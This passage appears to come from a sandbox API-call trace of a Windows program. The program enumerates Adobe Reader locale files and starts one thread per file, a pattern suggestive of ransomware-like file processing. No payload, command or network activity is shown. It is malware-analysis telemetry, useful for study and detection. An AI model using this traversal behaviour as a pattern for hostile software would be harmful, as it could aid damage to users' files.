_Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0244.761] wcscat (in: _Dest=0x202b15f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0244.761] wcscat (in: _Dest=0x202b15f0, _Source="Spelling.EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Spelling.EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Spelling.EUQ" [0244.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b15f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x970 [0244.761] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.EUQ", cAlternateFileName="")) returned 1 [0244.761] wcscmp (_String1="updater.EUQ", _String2=".") returned 1 [0244.762] wcscmp (_String1="updater.EUQ", _String2="..") returned 1 [0244.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b0e70 [0244.762] wcscpy (in: _Dest=0x202b0e70, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0244.762] wcscat (in: _Dest=0x202b0e70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0244.762] wcscat (in: _Dest=0x202b0e70, _Source="updater.EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\updater.EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\updater.EUQ" [0244.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0e70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10a0 [0244.763] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.EUQ", cAlternateFileName="")) returned 1 [0244.763] wcscmp (_String1="WebLink.EUQ", _String2=".") returned 1 [0244.763] wcscmp (_String1="WebLink.EUQ", _String2="..") returned 1 [0244.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b0c90 [0244.763] wcscpy (in: _Dest=0x202b0c90, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0244.763] wcscat (in: _Dest=0x202b0c90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0244.763] wcscat (in: _Dest=0x202b0c90, _Source="WebLink.EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\WebLink.EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\WebLink.EUQ" [0244.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0c90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1048 [0244.768] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.EUQ", cAlternateFileName="")) returned 0 [0244.768] FindClose (in: hFindFile=0x1cd9dd30 | out: hFindFile=0x1cd9dd30) returned 1 [0244.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce21530) returned 1 [0244.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a3c80) returned 1 [0244.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af220) returned 1 Thread: id = 4049 os_tid = 0x3a0 [0244.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x431a39b0 [0244.381] wcscpy (in: _Dest=0x431a39b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0244.381] wcscat (in: _Dest=0x431a39b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0244.381] wcscat (in: _Dest=0x431a39b0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\*" [0244.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20b70 [0244.381] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\*", lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d8b0 [0244.730] wcscmp (_String1=".", _String2=".") returned 0 [0244.730] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.730] wcscmp (_String1="..", _String2=".") returned 1 [0244.730] wcscmp (_String1="..", _String2="..") returned 0 [0244.730] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.SUO", cAlternateFileName="ACCESS~1.SUO")) returned 1 [0244.730] wcscmp (_String1="accessibility.SUO", _String2=".") returned 1 [0244.730] wcscmp (_String1="accessibility.SUO", _String2="..") returned 1 [0244.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x43131d20 [0244.730] wcscpy (in: _Dest=0x43131d20, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0244.730] wcscat (in: _Dest=0x43131d20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0244.730] wcscat (in: _Dest=0x43131d20, _Source="accessibility.SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\accessibility.SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\accessibility.SUO" [0244.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43131d20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x574 [0244.778] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.SUO", cAlternateFileName="")) returned 1 [0244.778] wcscmp (_String1="Acroform.SUO", _String2=".") returned 1 [0244.778] wcscmp (_String1="Acroform.SUO", _String2="..") returned 1 [0244.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x202b10f0 [0244.778] wcscpy (in: _Dest=0x202b10f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0244.778] wcscat (in: _Dest=0x202b10f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0244.778] wcscat (in: _Dest=0x202b10f0, _Source="Acroform.SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Acroform.SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Acroform.SUO" [0244.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b10f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x108c [0244.779] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.SUO", cAlternateFileName="ADOBEC~1.SUO")) returned 1 [0244.779] wcscmp (_String1="AdobeCollabSync.SUO", _String2=".") returned 1 [0244.779] wcscmp (_String1="AdobeCollabSync.SUO", _String2="..") returned 1 [0244.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x43130720 [0244.779] wcscpy (in: _Dest=0x43130720, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0244.779] wcscat (in: _Dest=0x43130720, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0244.779] wcscat (in: _Dest=0x43130720, _Source="AdobeCollabSync.SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\AdobeCollabSync.SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\AdobeCollabSync.SUO" [0244.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43130720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104c [0244.780] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d6d1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x77800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.SUO", cAlternateFileName="")) returned 1 [0244.780] wcscmp (_String1="Annots.SUO", _String2=".") returned 1 [0244.780] wcscmp (_String1="Annots.SUO", _String2="..") returned 1 [0244.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x202b0fb0 [0244.781] wcscpy (in: _Dest=0x202b0fb0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0244.781] wcscat (in: _Dest=0x202b0fb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0244.781] wcscat (in: _Dest=0x202b0fb0, _Source="Annots.SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Annots.SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Annots.SUO" [0244.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0fb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc4 [0244.781] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.SUO", cAlternateFileName="BRDLAN~1.SUO")) returned 1 [0244.781] wcscmp (_String1="BRdlang32.SUO", _String2=".") returned 1 [0244.781] wcscmp (_String1="BRdlang32.SUO", _String2="..") returned 1 [0244.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x202b0dd0 [0244.782] wcscpy (in: _Dest=0x202b0dd0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0244.782] wcscat (in: _Dest=0x202b0dd0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0244.782] wcscat (in: _Dest=0x202b0dd0, _Source="BRdlang32.SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\BRdlang32.SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\BRdlang32.SUO" [0244.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0dd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd84 [0244.784] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.SUO", cAlternateFileName="")) returned 1 [0244.784] wcscmp (_String1="Checkers.SUO", _String2=".") returned 1 [0244.784] wcscmp (_String1="Checkers.SUO", _String2="..") returned 1 [0244.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x202b1eb0 [0244.784] wcscpy (in: _Dest=0x202b1eb0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0244.784] wcscat (in: _Dest=0x202b1eb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0244.784] wcscat (in: _Dest=0x202b1eb0, _Source="Checkers.SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Checkers.SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Checkers.SUO" [0244.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1eb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x918 [0244.785] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.SUO", cAlternateFileName="")) returned 1 [0244.785] wcscmp (_String1="DigSig.SUO", _String2=".") returned 1 [0244.785] wcscmp (_String1="DigSig.SUO", _String2="..") returned 1 [0244.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x202b0290 [0244.785] wcscpy (in: _Dest=0x202b0290, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0244.785] wcscat (in: _Dest=0x202b0290, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0244.785] wcscat (in: _Dest=0x202b0290, _Source="DigSig.SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\DigSig.SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\DigSig.SUO" [0244.785] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdb4 [0244.786] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.SUO", cAlternateFileName="")) returned 1 [0244.786] wcscmp (_String1="DVA.SUO", _String2=".") returned 1 [0244.786] wcscmp (_String1="DVA.SUO", _String2="..") returned 1 [0244.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x202b1e10 [0244.786] wcscpy (in: _Dest=0x202b1e10, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0244.786] wcscat (in: _Dest=0x202b1e10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0244.786] wcscat (in: _Dest=0x202b1e10, _Source="DVA.SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\DVA.SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\DVA.SUO" [0244.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8 [0244.787] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.SUO", cAlternateFileName="")) returned 1 [0244.787] wcscmp (_String1="eBook.SUO", _String2=".") returned 1 [0244.787] wcscmp (_String1="eBook.SUO", _String2="..") returned 1 [0244.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x202b1410 [0244.788] wcscpy (in: _Dest=0x202b1410, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0244.788] wcscat (in: _Dest=0x202b1410, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0244.788] wcscat (in: _Dest=0x202b1410, _Source="eBook.SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\eBook.SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\eBook.SUO" [0244.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe8 [0244.788] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.SUO", cAlternateFileName="")) returned 1 [0244.788] wcscmp (_String1="EScript.SUO", _String2=".") returned 1 [0244.788] wcscmp (_String1="EScript.SUO", _String2="..") returned 1 [0244.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b1a50 [0244.789] wcscpy (in: _Dest=0x202b1a50, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0244.789] wcscat (in: _Dest=0x202b1a50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0244.789] wcscat (in: _Dest=0x202b1a50, _Source="EScript.SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\EScript.SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\EScript.SUO" [0244.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, 